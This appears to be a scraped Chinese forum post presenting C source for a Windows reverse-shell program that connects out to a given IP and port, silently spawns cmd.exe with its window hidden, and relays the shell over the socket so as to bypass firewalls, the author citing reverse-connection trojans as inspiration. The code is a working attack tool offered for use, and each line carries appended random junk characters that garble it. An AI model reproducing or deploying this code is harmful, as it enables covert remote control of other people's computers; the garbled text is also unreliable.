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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 G%q^8#  
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/* ============================== H?a1XEY/  
Rebound port in Windows NT l`wF;W!  
By wind,2006/7 RP9jZRDbZ  
===============================*/ 5Xr<~xr  
#include ^DQp9$la  
#include "dItv#<:}  
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#pragma comment(lib,"wsock32.lib") :,f~cdq=  
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void OutputShell(); ALO0yc  
SOCKET sClient;  A|90Ps  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :p|wo"=@Ge  
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void main(int argc,char **argv) *i)3q+%.  
{ Af`qe+0E  
WSADATA stWsaData; 6`JY:~V"  
int nRet; Ob~7r*q  
SOCKADDR_IN stSaiClient,stSaiServer; -yJ%G1R  
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if(argc != 3) dU"ca|u  
{ iu$:_W_  
printf("Useage:\n\rRebound DestIP DestPort\n"); |ler\"Eu  
return; @L/p  
} 6A ;,Ph2  
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WSAStartup(MAKEWORD(2,2),&stWsaData); N,?4,+Hc-  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `({ Bi!%i  
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stSaiClient.sin_family = AF_INET; <,:5d2mM.  
stSaiClient.sin_port = htons(0); NE1n9  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %vZTD +i  
6oA2"!u^w  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) I%Yeq"5RB  
{ WW&ag r  
printf("Bind Socket Failed!\n"); +k<0: Fi  
return; Zai:?%^  
} Gp.XTz#=  
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stSaiServer.sin_family = AF_INET; Q&k1' nT5  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -L6YLe%w  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); N0POyd/rL  
 D_D76  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !*1Kjg3  
{ >DSD1i+N  
printf("Connect Error!"); d&x #9ka  
return; ,ej89  
} a^xt9o`  
OutputShell(); y~Ts9AE  
} " R5! VV  
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void OutputShell() .gP}/dj  
{ ;+3XDz v  
char szBuff[1024]; 7+2DsZ^6MW  
SECURITY_ATTRIBUTES stSecurityAttributes; T4fVZd)x  
OSVERSIONINFO stOsversionInfo; v\}s(X(J  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >oHgs  
STARTUPINFO stStartupInfo; Q?xCb  
char *szShell; z^z,_?q;  
PROCESS_INFORMATION stProcessInformation; 0Uf.aP  
unsigned long lBytesRead; (/;<K$u*h  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); AC}[Q p!  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); \&jmSa=]l  
stSecurityAttributes.lpSecurityDescriptor = 0; pj9*$.{  
stSecurityAttributes.bInheritHandle = TRUE; ] i:WP2  
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WV?3DzeR  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 0vjlSHS;`.  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .kf FaK  
*2^+QKDG  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); S"Z.M _  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5oTj^W8M(  
stStartupInfo.wShowWindow = SW_HIDE; ;_dOYG1  
stStartupInfo.hStdInput = hReadPipe; TO5#iiM)  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (`cXS5R  
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GetVersionEx(&stOsversionInfo); J`d_=C?J  
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switch(stOsversionInfo.dwPlatformId) /JGET  
{ NfsF'v  
case 1: 4 >`2vb  
szShell = "command.com"; /73ANQ"  
break; C &~s<tcn  
default: hYSzr-)  
szShell = "cmd.exe"; Pu0 <Clh  
break; ~zO>Q4-k  
} 3IyNnm=u  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'jA>P\@8  
k"$E|$  
send(sClient,szMsg,77,0); .EB'n{zxd  
while(1) IZSJ+KO  
{ <nk7vo?Ks  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); e anR$I;Yj  
if(lBytesRead) <_>xkQbn2  
{ VOkSR6  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Gv\:Agi  
send(sClient,szBuff,lBytesRead,0); I ]HP  
} */)O8`}2  
else T)lkT?  
{ 4Je[!X@C  
lBytesRead=recv(sClient,szBuff,1024,0); =~P)7D6  
if(lBytesRead<=0) break; rInZd`\  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); VtYrU>q  
} $i9</Es P  
} es!>u{8)  
X6-;vnlKN  
return; ESyb34T`  
}
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